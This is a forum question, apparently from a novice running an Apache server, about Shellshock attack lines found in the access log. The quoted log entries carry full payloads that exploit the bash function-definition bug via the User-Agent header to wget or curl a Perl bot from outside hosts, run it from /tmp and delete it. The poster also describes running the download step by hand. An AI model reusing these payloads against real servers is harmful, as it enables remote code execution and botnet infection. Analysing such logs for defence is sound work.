I newbie to web programming, so I setup an apache2 sever for my practice.
It seems that someone succeeded to hack my apache server. I have notice in my access.log the following line:
81.169.174.52 - - [22/Jan/2015:17:24:39 +0200] "GET /cgi-bin/contact.cgi HTTP/1.1" 200 1531 "-" "() { :;};/usr/ bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://202.191.121.230/ou.pl -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*\");'"
and also this one:
80.92.84.168 - - [22/Jan/2015:18:21:08 +0200] "GET /phppath/cgi_wrapper HTTP/1.0" 200 3360 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESSX\";system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm - rf /tmp/bot.pl\");'"
It seems that they already succeeded to hack, according to HTTP-200, means the request granted.
When i try to 'track' the command in the request(by executing each command manually):
system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm - rf /tmp/bot.pl\");'"
I can see that i succeed to download the file 'bot.txt'. when i open the 'bot.txt' file and saw its a perl script. I am not a perl monk but I can see that its 'forking' other process which each try to open ports to other servers. also saw a function inside the code which try to search for open ports in my station.
My questions:
- someone know this issue ?
- how can I configure my apache2.conf to prevent such hacking ?
Thx